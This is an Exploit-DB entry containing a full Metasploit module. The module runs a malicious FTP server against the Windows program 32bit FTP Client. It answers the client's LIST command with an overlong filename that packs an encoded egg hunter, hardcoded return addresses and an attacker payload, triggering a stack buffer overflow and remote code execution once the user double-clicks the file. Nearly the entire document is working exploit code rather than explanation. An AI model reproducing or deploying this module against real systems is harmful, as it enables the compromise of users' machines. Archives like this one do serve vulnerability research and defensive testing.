Exploit-DB #16743
Description: 32bit FTP Client - Remote Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows_x86
Date: 2010-11-14
Author: Metasploit

Exploit:
##
# $Id: 32bitftp_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::FtpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => '32bit FTP Client Stack Buffer Overflow ',
			'Description'    => %q{
					This module exploits a stack buffer overflow in 32bit ftp client, triggered when trying to
					download a file that has an overly long filename.
			},
			'Author' 	 =>
				[
					'fancy',	# found the bug
					'corelanc0d3r'	# helped writing this module
				],
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 11039 $",
			'References'     =>
				[
					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'BadChars' => "\x00\xff\x0a",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'XP Universal', { 'Offset' => 259, 'Ret' => 0x004393ED  } ],  #RETN 32bitftp.exe
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 12 2010',
			'DefaultTarget'  => 0))

	end

	def setup
		super
	end

	def on_client_unknown_command(c,cmd,arg)
		c.put("200 OK\r\n")
	end


	def on_client_command_list(c,arg)
			code = 150
			c.put("#{code} OK.\r\n")
			code = 226
			c.put("#{code} Directory ok.\r\n")

			conn = establish_data_connection(c)
			if(not conn)
				c.put("425 Can't build data connection\r\n")
				return
			end
			print_status(" - Data connection set up")

			filename =  "\x02"  #prevent crash
			filename << "secret admin passwords.txt" #se = \x73\x65 = jump forward, over filename, to hunter
			filename << " " * 77
			#custom encoded egg hunter
			filename << "\x89\xe2\xda\xd6\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
			filename << "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
			filename << "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
			filename << "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
			filename << "\x45\x36\x4b\x31\x4a\x6a\x49\x6f\x44\x4f\x42\x62\x50\x52\x43"
			filename << "\x5a\x45\x52\x46\x38\x48\x4d\x44\x6e\x45\x6c\x45\x55\x43\x6a"
			filename << "\x50\x74\x4a\x4f\x4d\x68\x43\x47\x44\x70\x46\x50\x43\x44\x4e"
			filename << "\x6b\x4b\x4a\x4c\x6f\x43\x45\x49\x7a\x4c\x6f\x44\x35\x4a\x47"
			filename << "\x4b\x4f\x4d\x37\x41\x41"
			filename << " " * (target['Offset']-filename.length)

			addr1 = "\x40\x60\x3A\x76"  # RW imm32.dll
			addr2 = "\x44\x54\x48\x00"  # data section 32bitftp.exe
			addr3 = [target.ret].pack('V') # b00m !

			strfile = filename
			strfile << addr3
			strfile << addr2
			strfile << addr1
			strfile << "w00tw00t"
			strfile << payload.encoded

			print_status(" - Sending directory list via data connection")
			dirlist = "-rw-rw-r--    1 1176     1176         1060 Apr 23 23:17  #{strfile}.bin\r\n\r\n"
			conn.put(dirlist)
			conn.close
			print_status(" - LIST sent, wait for user to double click file...")
			return
	end

end